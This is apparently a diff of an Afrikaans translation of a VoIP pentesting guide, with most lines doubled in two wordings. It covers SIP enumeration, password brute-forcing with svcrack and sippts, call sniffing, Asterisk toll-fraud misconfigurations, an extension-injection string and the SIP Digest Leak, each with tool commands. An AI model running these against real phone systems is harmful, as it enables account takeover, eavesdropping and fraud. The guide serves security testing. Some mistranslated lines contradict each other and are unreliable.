- **69/UDP (TFTP)**: Firmware-opdaterings
- **80 (HTTP) / 443 (HTTPS)**: Om die toestel van die web af te bestuur
- **389 (LDAP)**: Alternatief om die gebruikersinligting te stoor
- **3306 (MySQL)**: MySQL-databasis
- **5038 (Bestuurder)**: Laat toe om Asterisk vanaf ander platforms te gebruik
- **5222 (XMPP)**: Boodskappe met behulp van Jabber
- **5432 (PostgreSQL)**: PostgreSQL-databasis
- En ander...
* **69/UDP (TFTP)**: Firmware-opdaterings
* **80 (HTTP) / 443 (HTTPS)**: Om die toestel vanaf die web te bestuur
* **389 (LDAP)**: Alternatief om die gebruikersinligting te stoor
* **3306 (MySQL)**: MySQL-databasis
* **5038 (Manager)**: Laat toe om Asterisk vanaf ander platforms te gebruik
* **5222 (XMPP)**: Berigte met behulp van Jabber
* **5432 (PostgreSQL)**: PostgreSQL-databasis
* En ander...
### Metodes Opsomming
### Metodes Enumerasie
Dit is moontlik om **te vind watter metodes beskikbaar is** om in die PBX te gebruik deur `SIPPTS enumerate` te gebruik vanaf [**sippts**](https://github.com/Pepelux/sippts)
Dit is moontlik om **watter metodes beskikbaar is** om in die PBX te gebruik deur `SIPPTS enumerate` van [**sippts**](https://github.com/Pepelux/sippts) te gebruik.
```bash
sippts enumerate -i 10.10.0.10
```
### Ontleding van bediener reaksies
### Analiseer bediener antwoorde
Dit is baie belangrik om die koppe te ontleed wat 'n bediener aan ons terugstuur, afhangende van die tipe boodskap en koppe wat ons stuur. Met `SIPPTS send` van [**sippts**](https://github.com/Pepelux/sippts) kan ons gepersonaliseerde boodskappe stuur, al die koppe manipuleer, en die reaksie ontleed.
Dit is baie belangrik om die koptekste wat 'n bediener aan ons terugstuur, te analiseer, afhangende van die tipe boodskap en koptekste wat ons stuur. Met `SIPPTS send` van [**sippts**](https://github.com/Pepelux/sippts) kan ons persoonlike boodskappe stuur, alle koptekste manipuleer, en die antwoord analiseer.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
Dit is ook moontlik om data te verkry as die bediener websockets gebruik. Met `SIPPTS wssend` van [**sippts**](https://github.com/Pepelux/sippts) kan ons gepersonaliseerde WS-boodskappe stuur.
Dit is ook moontlik om data te verkry as die bediener websockets gebruik. Met `SIPPTS wssend` van [**sippts**](https://github.com/Pepelux/sippts) kan ons persoonlike WS-boodskappe stuur.
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Uitbreiding Outeurskap
### Extension Enumeration
Uitbreidings in 'n PBX (Privaat Takkewisselaar) stelsel verwys na die **unieke interne identifiseerders wat toegewys is aan individuele** telefoonlyne, toestelle, of gebruikers binne 'n organisasie of besigheid. Uitbreidings maak dit moontlik om oproepe binne die organisasie doeltreffend te **roeteer**, sonder die behoefte aan individuele eksterne telefoonnommers vir elke gebruiker of toestel.
Extensions in a PBX (Private Branch Exchange) system verwys na die **unieke interne identifiseerders wat aan individuele** telefoonlyne, toestelle, of gebruikers binne 'n organisasie of besigheid toegeken word. Extensions maak dit moontlik om **oproepen binne die organisasie doeltreffend te roete**, sonder die behoefte aan individuele eksterne telefoonnommers vir elke gebruiker of toestel.
* **`svwar`** van SIPVicious (`sudo apt install sipvicious`): `svwar` is 'n gratis SIP PBX uitbreidingslyn-skandeerder. In konsep werk dit soortgelyk aan tradisionele wardialers deur **'n reeks uitbreidings te raai of 'n gegewe lys van uitbreidings**.
* **`svwar`** van SIPVicious (`sudo apt install sipvicious`): `svwar` is 'n gratis SIP PBX extensie lyn skandeerder. In konsep werk dit soortgelyk aan tradisionele wardialers deur **'n reeks extensies of 'n gegewe lys van extensies te raai**.
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
* **`SIPPTS exten`** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerk- en poortreeks toets.
* **`SIPPTS exten`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerke en poortreekse nagaan.
```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
```
* **metasploit**: Jy kan ook uitbreidings/gebruikersname opspoor met metasploit:
* **metasploit**: Jy kan ook uitbreidings/gebruikersname met metasploit opnoem.
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX** is 'n Inter Asterisk Exchange-protokol **gebruikersnaam-brute-force-opsteller**. enumIAX kan in twee afsonderlike modusse werk; Opeenvolgende Gebruikersnaam Raai of Woordeboek Aanval.
* **`enumiax` (`apt install enumiax`): enumIAX** is 'n Inter Asterisk Exchange-protokol **gebruikersnaam brute-force enumerator**. enumIAX kan in twee verskillende modi werk; Volgorde Gebruikersnaam Raai of Woordeboekaanval.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
## VoIP Aanvalle
## VoIP-aanvalle
### Wagwoord Brute-Force - aanlyn
Nadat die **PBX** en sommige **uitbreidings/gebruikersname** ontdek is, kan 'n Rooi Span probeer om te **verifieer via die `REGISTER` metode** na 'n uitbreiding deur 'n woordeboek van algemene wagwoorde te gebruik om die verifikasie te kragtig te dwing.
Nadat die **PBX** en sommige **uitbreidings/gebruikersname** ontdek is, kan 'n Rooi Span probeer om te **authentiseer via die `REGISTER` metode** na 'n uitbreiding deur 'n woordelys van algemene wagwoorde te gebruik om die authentisering te brute-force.
{% hint style="danger" %}
Let daarop dat 'n **gebruikersnaam** dieselfde as die uitbreiding kan wees, maar hierdie praktyk kan wissel afhangende van die PBX-stelsel, sy opset, en die organisasie se voorkeure...
Let daarop dat 'n **gebruikersnaam** dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil, afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure...
As die gebruikersnaam nie dieselfde as die uitbreiding is nie, sal jy die **gebruikersnaam moet uitfigure om dit te kragtig te dwing**.
As die gebruikersnaam nie dieselfde is as die uitbreiding nie, sal jy moet **uitvind wat die gebruikersnaam is om dit te brute-force**.
{% endhint %}
* **`svcrack`** van SIPVicious (`sudo apt install sipvicious`): SVCrack stel jou in staat om die wagwoord vir 'n spesifieke gebruikersnaam/uitbreiding op 'n PBX te kragtig te kry.
* **`svcrack`** van SIPVicious (`sudo apt install sipvicious`): SVCrack laat jou toe om die wagwoord vir 'n spesifieke gebruikersnaam/uitbreiding op 'n PBX te kraak.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is 'n afgeleë wagwoordkraker vir SIP-diens. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP-adresse en poortreeks.
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is 'n afstand wagwoord kraker vir SIP dienste. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP's en poortreekse.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -298,114 +298,114 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
Indien jy VoIP-toerusting binne 'n **Oop Wifi-netwerk** vind, kan jy **alle inligting afluister**. Verder, as jy binne 'n meer geslote netwerk is (verbind via Ethernet of beskermde Wifi) kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting af te luister.
As jy VoIP-toerusting binne 'n **Open Wifi-netwerk** vind, kan jy **alle inligting snuffel**. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi) kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel.
Onder die netwerkinligting kan jy **webgeloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP**-adresse, selfs **gehashte wagwoorde** en **RTP-pakkies** wat jy kan herproduseer om die gesprek te **hör**, en meer.
Tussen die netwerk-inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer.
Om hierdie inligting te kry, kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke af te luister is** [**ucsniff**](https://github.com/Seabreg/ucsniff).
Om hierdie inligting te verkry kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is** [**ucsniff**](https://github.com/Seabreg/ucsniff).
{% hint style="danger" %}
Let daarop dat as **TLS in die SIP-kommunikasie gebruik word** jy nie die SIP-kommunikasie in die duidelik sal kan sien nie.\
Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkies sal nie in duidelike teks wees** nie.
Let daarop dat as **TLS in die SIP kommunikasie gebruik word** jy nie die SIP kommunikasie in duidelike teks sal kan sien.\
Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkette sal nie in duidelike teks wees**.
{% endhint %}
#### SIP-geloofsbriewe (Wagwoord-Brute-Force - aflyn)
#### SIP geloofsbriewe (Wagwoord Brute-Force - aflyn)
[Kyk na hierdie voorbeeld om 'n **SIP REGISTER-kommunikasie** beter te verstaan](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) om te leer hoe **geloofsbriewe gestuur word**.
[Kontroleer hierdie voorbeeld om beter te verstaan hoe 'n **SIP REGISTER kommunikasie** werk](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) om te leer hoe **geloofsbriewe gestuur word**.
* **`sipdump`** & **`sipcrack`,** deel van **sipcrack** (`apt-get install sipcrack`): Hierdie gereedskap kan **digest-autentiserings** binne die SIP-protokol uit 'n **pcap** onttrek en hulle **brute force**.
* **`sipdump`** & **`sipcrack`,** deel van **sipcrack** (`apt-get install sipcrack`): Hierdie gereedskap kan **uittrek** uit 'n **pcap** die **digest-authentikasies** binne die SIP-protokol en **bruteforce** hulle.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
* **`SIPPTS dump`** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump kan digest-verifikasies uittrek uit 'n pcap-lêer.
* **`SIPPTS dump`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump kan digest-authentikasies uit 'n pcap-lêer onttrek.
```bash
sippts dump -f capture.pcap -o data.txt
```
* **`SIPPTS dcrack`** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack is 'n gereedskap om die digest-autentiserings wat verkry is met SIPPTS dump, te kraak.
* **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack is 'n hulpmiddel om die digest-outentifikasies wat met SIPPTS dump verkry is, te kraak.
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
* **`SIPPTS tshark`** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark onttrek data van die SIP-protokol uit 'n PCAP-lêer.
* **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark onttrek data van die SIP-protokol uit 'n PCAP-lêer.
```bash
sippts tshark -f capture.pcap [-filter auth]
```
#### DTMF-kodes
#### DTMF kodes
**Nie net SIP-legitimasie** kan gevind word in die netwerkverkeer nie, dit is ook moontlik om DTMF-kodes te vind wat byvoorbeeld gebruik word om die **voicemail** te bereik.\
Dit is moontlik om hierdie kodes in **INFO SIP-boodskappe**, in **klank** of binne **RTP-pakkette** te vind. As die kodes binne RTP-pakkette is, kan jy daardie deel van die gesprek sny en die multimo-werktuig gebruik om hulle te onttrek:
**Nie net SIP geloofsbriewe** kan in die netwerkverkeer gevind word nie, dit is ook moontlik om DTMF kodes te vind wat gebruik word om byvoorbeeld toegang tot die **stempos** te verkry.\
Dit is moontlik om hierdie kodes in **INFO SIP boodskappe**, in **klank** of binne **RTP pakkette** te stuur. As die kodes binne RTP pakkette is, kan jy daardie deel van die gesprek sny en die hulpmiddel multimo gebruik om hulle te onttrek:
```bash
multimon -a DTMF -t wac pin.wav
```
### Gratis Oproepe / Asterisk-Verbindingsverkeerdekonfigurasies
### Gratis oproepe / Asterisks Verbinding Misconfigurasies
In Asterisk is dit moontlik om 'n verbinding **vanaf 'n spesifieke IP-adres** of vanaf **enige IP-adres** toe te laat:
In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of van **enige IP-adres** toe te laat:
```
host=10.10.10.10
host=dynamic
```
Indien 'n IP-adres gespesifiseer is, sal die gas **nie nodig hê om REGISTER-aanvrae** elke rukkie te stuur (in die REGISTER-pakket word die tyd tot lewe gestuur, gewoonlik 30 minute, wat beteken dat in 'n ander scenario die telefoon elke 30 minute moet REGISTER). Tog sal dit oop poorte moet hê wat verbinding vanaf die VoIP-bediener toelaat om oproepe te ontvang.
As 'n IP-adres gespesifiseer word, sal die host **nie REGISTER** versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.
Om gebruikers te definieer, kan hulle as volg gedefinieer word:
* **`type=user`**: Die gebruiker kan slegs oproepe ontvang as gebruiker.
* **`type=friend`**: Dit is moontlik om oproepe te doen as eweknie en hulle as gebruiker te ontvang (gebruik met uitbreidings)
* **`type=peer`**: Dit is moontlik om oproepe te stuur en te ontvang as eweknie (SIP-trunke)
* **`type=user`**: Die gebruiker kan slegs oproepe as gebruiker ontvang.
* **`type=friend`**: Dit is moontlik om oproepe as peer te maak en dit as gebruiker te ontvang (gebruik met uitbreidings)
* **`type=peer`**: Dit is moontlik om oproepe as peer te stuur en te ontvang (SIP-trunks)
Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:
* **`insecure=port`**: Laat eweknieverbindings toe wat geverifieer word deur IP.
* **`insecure=invite`**: Vereis nie outentisering vir INVITE-boodskappe nie
* **`insecure=port,invite`**: Beide
* **`insecure=port`**: Laat peer verbindings wat deur IP geverifieer word toe.
* **`insecure=invite`**: Vereis nie verifikasie vir INVITE-boodskappe nie
* **`insecure=port,invite`**: Albei
{% hint style="warning" %}
Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host**-veranderlike **nie gebruik word nie**, so as 'n admin 'n SIP-trunk **verkeerd konfigureer** deur daardie waarde te gebruik, sal **enigiemand in staat wees om daarmee te verbind**.
Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host** veranderlike **nie gebruik word** nie, so as 'n admin **'n SIP-trunk verkeerd konfigureer** met daardie waarde, **sal enige iemand in staat wees om daartoe te verbind**.
Byvoorbeeld, hierdie konfigurasie sou kwesbaar wees:\
Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:\
`host=10.10.10.10`\
`insecure=port,invite`\
`type=friend`
{% endhint %}
### Gratis Oproepe / Asterisk Konteks Verkeerde Konfigurasies
### Gratis Oproepe / Asterisks Konteks Misconfigurasies
In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies, en reëls saamgroepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-sisteem, aangesien dit bepaal **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Kontekste word gebruik om die kiesplan te organiseer, toegangsbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied.
In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied.
Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`**-lêer. Kontekste word aangedui deur vierkante hakies, met die konteksnaam binne-in hulle ingesluit. Byvoorbeeld:
Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`** lêer. Konteks word aangedui deur vierkantige hakies, met die konteksnaam binne-in. Byvoorbeeld:
```bash
csharpCopy code[my_context]
```
Binne die konteks, definieer jy uitbreidings (patrone van gekiesde nommers) en assosieer hulle met 'n reeks van aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:
Binnen die konteks definieer jy uitbreidings (patrone van gedialde nommers) en assosieer dit met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
Hierdie voorbeeld demonstreer 'n eenvoudige konteks genaamd "my\_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n verwelkomingsboodskap sal gespeel word, en dan sal die oproep beëindig word.
Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my\_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beëindig word.
Dit is **'n ander konteks** wat toelaat om **na enige ander nommer te bel**:
Dit is **nog 'n konteks** wat toelaat om **na enige ander nommer te bel**:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
Indien die admin die **verstek konteks** definieer as:
As die admin die **default context** definieer as:
```
[default]
include => my_context
include => external
```
{% hint style="warning" %}
Enige persoon sal in staat wees om die **bediener te gebruik om na enige ander nommer te bel** (en die administrateur van die bediener sal vir die oproep betaal).
Enige iemand sal in staat wees om die **bediener te gebruik om na enige ander nommer te bel** (en die admin van die bediener sal vir die oproep betaal).
{% endhint %}
{% hint style="danger" %}
Verder, as die **`sip.conf`** lêer standaard **`allowguest=true`** bevat, sal **enige** aanvaller sonder outentifikasie in staat wees om na enige ander nommer te bel.
Boonop bevat die **`sip.conf`** lêer standaard **`allowguest=true`**, dan sal **enige** aanvaller met **geen outentisering** in staat wees om na enige ander nommer te bel.
{% endhint %}
* **`SIPPTS uitnodiging`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS-uitnodiging toets of 'n **PBX-bedieners ons toelaat om oproepe sonder outentifikasie te maak**. As die SIP-bediener 'n verkeerde konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ons ook toelaat om die oproep na 'n tweede eksterne nommer oor te dra.
* **`SIPPTS invite`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite kontroleer of 'n **PBX bediener ons toelaat om oproepe te maak sonder outentisering**. As die SIP bediener 'n onakkurate konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ook toelaat dat ons die oproep na 'n tweede eksterne nommer oorplaas.
Byvoorbeeld, as jou Asterisk-bediener 'n slegte konteks-konfigurasie het, kan jy INVITE-aanvrae sonder outorisasie aanvaar. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruikersnaam/wagwoord te ken.
Byvoorbeeld, as jou Asterisk bediener 'n slegte kontekskonfigurasie het, kan jy INVITE versoek aanvaar sonder outorisasie. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken.
{% code overflow="wrap" %}
```bash
@ -417,21 +417,21 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
{% endcode %}
### Gratis oproepe / Verkeerd geconfigureerde IVRS
### Gratis oproepe / Foutief geconfigureerde IVRS
IVRS staan vir **Interaktiewe Stemresponsisteem**, 'n telefonie tegnologie wat gebruikers in staat stel om met 'n gerekenariseerde stelsel te interaksieer deur stem- of toets-tone insette. IVRS word gebruik om **geoutomatiseerde oproephantering** stelsels te bou wat 'n verskeidenheid funksies bied, soos die voorsiening van inligting, roete oproepe, en die vasvang van gebruiker insette.
IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnologie wat gebruikers toelaat om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetsingangs. IVRS word gebruik om **geoutomatiseerde oproep hantering** stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinvoer te vang.
IVRS in VoIP stelsels bestaan tipies uit:
1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei.
2. **DTMF** (Dual-Tone Multi-Frequency) seinering: Toets-tone insette wat gegenereer word deur sleutels op die foon te druk, wat gebruik word om deur die IVR-menu's te navigeer en insette te voorsien.
3. **Oproep roeteering**: Oproepe rig na die toepaslike bestemming, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruiker insette.
4. **Gebruiker inset vasvang**: Inligting van oproepers insamel, soos rekeningnommers, saak-ID's, of enige ander relevante data.
5. **Integrasie met eksterne stelsels**: Die koppeling van die IVR-stelsel aan databasisse of ander sagteware stelsels om inligting te ontsluit of op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.
2. **DTMF** (Dubbele Toon Multi-Frekwensie) sein: Toetsingangs wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf.
3. **Oproep roetering**: Oproepe na die toepaslike bestemming lei, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer.
4. **Gebruikersinvoer vang**: Inligting van belers versamel, soos rekeningnommers, saak-ID's, of enige ander relevante data.
5. **Integrasie met eksterne stelsels**: Die IVR-stelsel aan databasisse of ander sagteware stelsels koppel om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.
In 'n Asterisk VoIP stelsel, kan jy 'n IVR skep deur die kiesplan (**`extensions.conf`** lêer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer te gebruik. Hierdie toepassings help jou om stem aanwysings af te speel, gebruiker inset vas te vang, en die oproepvloei te beheer.
In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lêer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer.
#### Voorbeeld van 'n kwesbare konfigurasie
#### Voorbeeld van kwesbare konfigurasie
```scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
@ -439,40 +439,40 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
Die vorige is 'n voorbeeld waar die gebruiker gevra word om **1 te druk om te skakel** na 'n afdeling, **2 om te skakel** na 'n ander, of **die volledige uitbreiding** as hy dit weet.\
Die kwesbaarheid is die feit dat die aangeduide **uitbreidingslengte nie nagegaan word nie, sodat 'n gebruiker die 5 sekondes tydlimiet kan oorskry en 'n volledige nommer kan invoer en dit sal geskakel word.**
Die vorige is 'n voorbeeld waar die gebruiker gevra word om **1 te druk om** 'n departement te bel, **2 om** 'n ander te bel, of **die volledige uitbreiding** as hy dit weet.\
Die kwesbaarheid is die feit dat die aangeduide **uitbreiding lengte nie nagegaan word nie, so 'n gebruiker kan die 5 sekondes tydsduur 'n volledige nommer invoer en dit sal gebel word.**
### Uitbreiding Inspruiting
### Uitbreiding Inspuiting
Deur 'n uitbreiding soos:
Gebruik 'n uitbreiding soos:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
Waar **`${EXTEN}`** die **uitbreiding** is wat geskakel sal word, wanneer die **ext 101 ingevoer word** is dit wat sou gebeur:
Waar **`${EXTEN}`** die **verlenging** is wat gebel sal word, wanneer die **ext 101 bekendgestel word** sal dit gebeur:
```scss
exten => 101,1,Dial(SIP/101)
```
Echter, as **`${EXTEN}`** toelaat om **meer as net syfers** in te voer (soos in ouer Asterisk weergawes), kan 'n aanvaller **`101&SIP123123123`** in te voer om die telefoonnommer 123123123 te skakel. En dit sou die resultaat wees:
However, if **`${EXTEN}`** allows to introduce **more than numbers** (like in older Asterisk versions), an attacker could introduce **`101&SIP123123123`** to call the phone number 123123123. And this would be the result:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur word en slegs die eerste wat die oproep ontvang, sal gevestig word... maar as 'n aanvaller 'n **uitbreiding gebruik wat enige ooreenkoms omseil** wat uitgevoer word maar nie bestaan nie, kan hy **'n oproep net na die gewenste nommer inspuit**.
Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur word en slegs die eerste een wat die oproep ontvang, sal gevestig word... maar as 'n aanvaller 'n **uitbreiding gebruik wat enige ooreenkoms omseil** wat uitgevoer word maar nie bestaan nie, kan hy **slegs 'n oproep na die gewenste nommer inspuit**.
## SIPDigestLeak kwesbaarheid
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP-telefone affekteer, insluitend beide hardeware- en sagteware-IP-telefone asook telefoonadapters (VoIP na analoog). Die kwesbaarheid maak **lek van die Digest-verifikasierespons** moontlik, wat bereken word uit die wagwoord. 'n **Aanlyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde herwin op grond van die uitdagingrespons.
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.
**[Kwesbaarheid scenario vanaf hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
**[Kwetsbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. 'n IP-telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), aanvaar telefoonoproepe
2. Die aanvaller stuur 'n UITNODIGING na die IP-telefoon
3. Die slagoffer-telefoon begin lui en iemand neem op en hou op (omdat niemand die telefoon aan die ander kant antwoord nie)
4. Wanneer die telefoon neergelê word, stuur die **slagoffer-telefoon 'n AFSKEID na die aanvaller**
5. Die **aanvaller gee 'n 407 respons** wat **vir verifikasie vra** en gee 'n verifikasie-uitdaging
6. Die **slagoffer-telefoon verskaf 'n respons op die verifikasie-uitdaging** in 'n tweede AFSKEID
7. Die **aanvaller kan dan 'n brute-krag aanval uitvoer** op die uitdagingrespons op sy plaaslike masjien (of verspreide netwerk ens.) en die wagwoord raai
1. 'n IP Telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), wat telefoonoproepe aanvaar
2. Die aanvaller stuur 'n INVITE na die IP Telefoon
3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie)
4. Wanneer die telefoon opgehang word, **stuur die slagoffer telefoon 'n BYE na die aanvaller**
5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik
6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE
7. Die **aanvaller kan dan 'n brute-force aanval uitvoer** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) en die wagwoord raai
* **SIPPTS-lek** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS-lek benut die SIP Digest Leak-kwesbaarheid wat 'n groot aantal SIP-telefone affekteer. Die uitset kan in SipCrack-formaat gestoor word om dit met behulp van SIPPTS dcrack of die SipCrack-instrument te brute-krag.
* **SIPPTS lek** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel.
```bash
sippts leak -i 10.10.0.10
@ -493,11 +493,11 @@ sippts leak -i 10.10.0.10
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
```
### Klik-om-Te-Skakel
### Click2Call
Klik-om-Te-Skakel maak dit vir 'n **webgebruiker** (wat byvoorbeeld dalk belangstel in 'n produk) moontlik om sy **telefoonnommer in te voer** om geskakel te word. Dan sal 'n kommersiële oproep geplaas word, en wanneer hy **die telefoon optel** sal die gebruiker **geskakel en verbind word met die agent**.
Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy **die telefoon opneem** sal die gebruiker **gebel en met die agent verbind** word.
'n Gewone Asterisk-profiel hiervoor is:
